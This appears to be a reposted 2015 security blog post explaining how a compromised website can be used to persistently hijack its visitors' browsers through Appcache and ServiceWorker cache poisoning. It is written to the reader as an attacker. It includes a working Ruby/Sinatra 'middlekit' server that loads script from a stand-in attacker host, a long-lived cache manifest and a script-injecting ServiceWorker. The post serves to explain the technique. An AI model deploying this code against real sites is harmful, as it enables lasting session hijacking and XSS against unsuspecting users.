Using Appcache and ServiceWorker for Evil

You’re a bad guy and you just hacked a website. Normally you leak the database and leave. The owner fixes everything next day and removes your backdoor. With Middlekit techniques you can poison browser cache of every visitor and get more money and intelligence in a long run.

They call it “Advanced Persistent Threat” in the cyber snake oil industry. It silently sits in the victim’s user agent and waits for your commands. It can alter responses, proxy requests through your server etc – it is permanent session hijacking and XSS.

I am not going to give you specific software, but will explain two approaches: appcache and serviceworker.

Appcache

It works in all browsers. You just need to add manifest itself in the CACHE MANIFEST section and the browser will always return poisoned documents from the cache.

  • You need to collect as many URLs as possible – you need to list them explicitly to make the user agent cache it. site:victim.com in google is a good start
require 'open-uri'
f=open('https://www.google.ru/search?q=site%3Asakurity.com&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8').read

def get_pages(domain)
  f=open('https://www.google.ru/search?q=site%3A'+domain+'&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=10&num=100&').read
  r = f.scan /http:\/\/#{domain}(.*?)[&%]/im
  puts r.flatten.uniq.join(' ')
end
get_pages 'sakurity.com'
  • Don’t forget user specific URLs such as “/settings” or “/homakov/direct_messages”. You can generate the manifest on the fly.
  • Insert your middlekit in front of the hacked production server. For demonstration you can run following script locally and add 127.0.0.1 sakurity.com to your /etc/hosts. It also works in MitM attacks over wifi against https:// websites.
require 'sinatra'

wire = lambda do
  if params[:utm_medium]
    r=  "real content"
  else
    r=<<HTML
<html manifest='/a.appcache'>
https://evil.com.site/middlekit.js

function load(url){
x=new XMLHttpRequest;
x.open('get',url);

x.setRequestHeader('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
x.setRequestHeader('Cache-Control','max-age=0');
x.setRequestHeader('Upgrade-Insecure-Requests','1');
x.send();

x.onreadystatechange=function(){
  if(x.readyState==4){
    document.write(x.responseText);
    //document.body.parentElement.innerHTML = x.responseText;
  }
}
}
if(location.href.indexOf("?") != -1){

  var u = location.href + "&utm_medium=1";
}else{
  var u = location.href + "?utm_medium=1";
}
//history.pushState("","",url);
console.log("Infected")
load(u);

</html>
HTML
  end
  r
end

pages = %w{/ /reconnect /lengthextension /logindemo /peatio.pdf /stealtitle /blog/2015/03/15/authy_bypass.html /blog/2015/03/03/duo_format_injection.html /blog/2015/07/28/appcache.html /blog/2015/03/10/Profilejacking.html /blog/2015/06/04/mongo_ruby_regexp.html /blog/2015/05/08/pusher.html /blog/2015/03/04/hybrid_api_auth.html /blog/2015/03/27/slack_or_reset_token_hashing.html /blog/2015/07/18/2fa.html /blog/2015/05/21/starbucks.html /blog/2015/03/05/RECONNECT.html /blog/2014/01/01/puzzle1.html /blog/2015/04/10/email_password_manager.html /blog/2015/02/28/openuri.html /blog/2015/06/25/puzzle2.html /blog/2015/01/22/peatio-audit.html /blog/2015/01/10/hacking-bitcoin-exchanger.html /triple}
pages.each{|page|
  get page, &wire
}

get '/a.appcache' do
  response.headers['cache-control'] = 'max-age=3155760000'
  response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8'
"CACHE MANIFEST
/a.appcache
#{pages.join("\n")}
"
end
  • Get as many users as possible to visit the hacked server right now – try a newsletter.
  • Now all of them load your middlekit.html first, and there is no way to destroy appcache with javascript. The admins have to ask every user to visit chrome://appcache-internals/ manually

ServiceWorker

This one works only in Chrome on desktop and only over https: websites, but is actually much more dangerous. It creates a worker which alters responses for all requests and there’s no need to explicitly cache every page – you can cover entire domain with one worker.

onfetch=function(e){
  e.respondWith(new Response('alert(document.domain)',{headers: {'Content-Type':'text/html'}}))
}

To install a ServiceWorker the browser wants to see it as a response with content-type:text/javascript. Pinky, are you pondering what I’m pondering?

Lots of JSONP endpoints respond with arbitrary JS. For instance look at my challenge, this is the answer.

In other words XSS + JSONP + ServiceWorker = Permanent XSS on every page

Aug 13, 2015 • Egor Homakov (@homakov)

Full article:

Source: Using Appcache and ServiceWorker for Evil

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s